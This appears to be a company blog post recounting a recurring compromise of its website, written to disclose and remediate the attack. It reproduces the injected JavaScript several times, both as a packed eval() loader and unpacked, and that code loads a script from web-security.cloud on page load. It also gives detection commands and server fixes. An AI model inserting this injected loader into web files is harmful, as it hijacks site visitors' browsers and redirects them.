Background

We found weird behaviour on our website as the link could not go to the proper URL with the domain; in fact, it went to a third-party link. That’s quite alarming. We then checked Google Analytics, and the traffic went down. There was something not right here!

We started to look further into this issue.

Last updated - 29/06/2023:  Add the Solution section. 

The Detail

We checked the files on the server, and there was a change on 17/04/2022. That was strange as we did not change the files.

We opened up the modified by we found this at the end of the .js file. We look up the backup, and it’s different; there is no code for this:

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.23(\'6\',7(){8(9 3.2=="10"){11 0=1.12("5");0.14="//15-13.17/18?19=20";1.21.22(0);3.2="16"}},4);',10,24,'s|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|l|115|head|appendChild|addEventListener'.split('|'),0,{}))
;;
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.23(\'6\',7(){8(9 3.2=="10"){11 0=1.12("5");0.14="//15-13.17/18?19=20";1.21.22(0);3.2="16"}},4);',10,24,'s|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|l|115|head|appendChild|addEventListener'.split('|'),0,{}))
;;
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.23(\'6\',7(){8(9 3.2=="10"){11 0=1.12("5");0.14="//15-13.17/18?19=20";1.21.22(0);3.2="16"}},4);',10,24,'s|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|l|115|head|appendChild|addEventListener'.split('|'),0,{}))
;;
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.23(\'6\',7(){8(9 3.2=="10"){11 0=1.12("5");0.14="//15-13.17/18?19=20";1.21.22(0);3.2="16"}},4);',10,24,'s|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|l|115|head|appendChild|addEventListener'.split('|'),0,{}))
;

We had this situation before in late September 2021, and at that time, it was attacked on .php files.

We do not know how they appended this extra code at the end of the js file.

However, we might have to figure out three ways that the hacker can attack this:

• Hosting VM using CPanel – not fully control
• Custom code PHP web application
• WordPress websites

To mitigate this, we moved the custom code PHP application to a different VM that we can fully control and has no CPanel, while the WordPress site moved to another VM that we can fully control and has no CPanel. We also have some alerts on checking the files if there is a modification/deletion/adding.

UPDATE – 1

This happened again on 4th June 2022, this time attacking js files.

;
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.23(\'6\',7(){8(9 3.2=="10"){11 0=1.12("5");0.14="//15-13.17/18?19=20";1.21.22(0);3.2="16"}},4);',10,24,'s|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|l|115|head|appendChild|addEventListener'.split('|'),0,{}))
;

Investigate further about these extra codes and find Unpacker from Matthewfl.com:

Those codes translate as :

document.addEventListener('DOMContentLoaded',function()
	{
	if(typeof window.web_security=="undefined")
		{
		var s=document.createElement("script");
		s.src="//web-security.cloud/event?l=115";
		document.head.appendChild(s);
		window.web_security="success"
	}
}
,false);

To search all affected files (JS or PHP), run the following command and write into a file called – suspiciousfiles.txt

grep --include=\*.{js,php} -rnw '/var/www/[website_url/public_html/' -e "s|document|web_security|window" > suspiciousfiles.txt

Go through that list and remove the extra codes manually, one by one.

UPDATE – 2

On 14th June 2022, as informed by our web developer, we upgraded the web application, and one bug fix is updating the JQuery library to prevent JavaScript vulnerabilities.

We believe this incident is related to JavaScript vulnerabilities within this web application. We hope this will solve the issue.

UPDATE – 3

On 27 July 2022, the website was attacked again, just .js files. It has 400+ files with extra codes at the end. We managed to remove this manually.

UPDATE – 4

On November 2022, the website was attacked again, just .js files. It has 400+ files with extra codes at the end.

;
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1.23(\'6\',7(){8(9 3.2=="10"){11 0=1.12("5");0.14="//15-13.17/18?19=20";1.21.22(0);3.2="16"}},4);',10,24,'s|document|web_security|window|false|script|DOMContentLoaded|function|if|typeof|undefined|var|createElement|security|src|web|success|cloud|event|l|115|head|appendChild|addEventListener'.split('|'),0,{}))
;

Starting to look at deep further into potential write folder access:

find /var/www/[website_url]/public_html/[target_folder] -type f \( ! -iname "*.jpg" -and ! -iname "*.png" -and ! -iname "*.jpeg" -and ! -iname "*.gif" -and ! -iname "*.webp" -and ! -iname ".htaccess" -and ! -iname ".mp4" \)

Nothing suspicious files, only a bunch of .html and .xml files. We look at these one by one – none are considered a threat.

We checked the .htaccess, and it’s pretty good at denying unwanted files.

<Files ~ "\.(php|php2|php3|php4|php5|php7|phtml|pl|py|psp|js|jsp|cgi|util)$">
    Order deny,allow
    Deny From All
</Files>

UPDATE – 5

A similar attack occurred on 11/01/2023. But this time, we found that the .httaccess at the root level has been deleted. We are not sure yet whether it potentially gets removed accidentally when we do maintenance.

As a consequence of this, a file was created called mini.php

UPDATE – 6

A similar attack occurred on 13/04/2023., but this time, the appended code is without flatting the code:

;
document.addEventListener('DOMContentLoaded', function(){
    if(typeof window.web_security == "undefined"){
        var s = document.createElement("script");
        s.src = "//web-security.cloud/event?l=115";
        document.head.appendChild(s);
        window.web_security = "success";
    }
}, false);
;

Because the above folders have the same permission, it updated our maintenance folder (backup one). The solution is to create compressed backup folders and files.

Also we then added the following search:

grep --include=\*.{js,php} -rnw '/var/www/[website_url/public_html/' -e "web_security.cloud" > suspiciousfiles_2.txt

UPDATE – 7

A similar attack occurred on 15/04/2023; the appended code is without flatting the code:

;
document.addEventListener('DOMContentLoaded', function(){
    if(typeof window.web_security == "undefined"){
        var s = document.createElement("script");
        s.src = "//web-security.cloud/event?l=115";
        document.head.appendChild(s);
        window.web_security = "success";
    }
}, false);
;

Because the above folders have the same permission, it updated our maintenance folder (backup one). The solution is to create compressed backup folders and files.

Also we then added the following search:

grep --include=\*.{js,php} -rnw '/var/www/[website_url/public_html/' -e "web-security.cloud" > suspiciousfiles_2.txt

Update – 8

A similar attack occurred on 27/05/2023; the appended code is without flatting the code and added twice:

;
document.addEventListener('DOMContentLoaded', function(){
    if(typeof window.web_security == "undefined"){
        var s = document.createElement("script");
        s.src = "//web-security.cloud/event?l=115";
        document.head.appendChild(s);
        window.web_security = "success";
    }
}, false);
;
;
document.addEventListener('DOMContentLoaded', function(){
    if(typeof window.web_security == "undefined"){
        var s = document.createElement("script");
        s.src = "//web-security.cloud/event?l=115";
        document.head.appendChild(s);
        window.web_security = "success";
    }
}, false);
;

Because the above folders have the same permission, it updated our maintenance folder (backup one). The solution is to create compressed backup folders and files.

Also we then added the following search:

grep --include=\*.{js,php} -rnw '/var/www/[website_url/public_html/' -e "web-security.cloud" > suspiciousfiles_1.txt

Modified and Change Date:

Access: 2023-06-21 01:15:22.322795105 +0200
Modify: 2023-06-19 18:44:45.269111380 +0200
Change: 2023-06-19 18:44:45.269111380 +0200

Solution

In late June 2023, we finally got the application vendor involved to investigate this issue.

After using the comparison tools between the production code and the clean vendor application, the vendor found three suspicious files, and we removed them.

They also found that the Apache server was not configured incorrectly, allowing run the PHP scripts with no php extensions for that particular domain handling the PHP code, and we also changed that to this:

<IfModule mod_fcgid.c>
    Options +ExecCGI
    FcgidConnectTimeout 20
    Alias /php8-fcgi /usr/lib/cgi-bin/php8-fcgi

    <FilesMatch \.php$>
        SetHandler "proxy:unix:/run/php/phpX.X-fpm.sock|fcgi://localhost"
    </FilesMatch>
</IfModule>

Note: For phpX.X-fpm.sock, we used PHP FPM.

From here, we cleaned up the backup and reviewed and further tested all our Apache domain configurations. We continue to monitor the activities.

The End

If you have reached the end of this article, congratulation. Hopefully, we have shed some light on outlining what you need to know by exposing the attack on the website.

We write this so that this is not a fixed article. Like in this journey, We learn as we go and re-write some parts of the article, so please keep pinging with this article or any general tech posts.

We also would love to hear about how you deal with the situation and what IT-related challenges you might face. Please feel free to comment on this article, or you can contact us on the Dewacorp website for your IT support, application integration, application development, or other IT-related. Alternatively, you can casually have a chat on Dewachat. Let us know if you have any questions that we can help with!

Big thank you for the photo by Tima Miroshnichenko on Pexels.

To boost your product and service to the broader web community, visit our Dewalist classified website – home to 30,000+ active users and 40,000+ active advertising so far. Check it out!

If you love this security article or any security posts and you would like to receive an update of this article or our latest post, please sign up for the form below: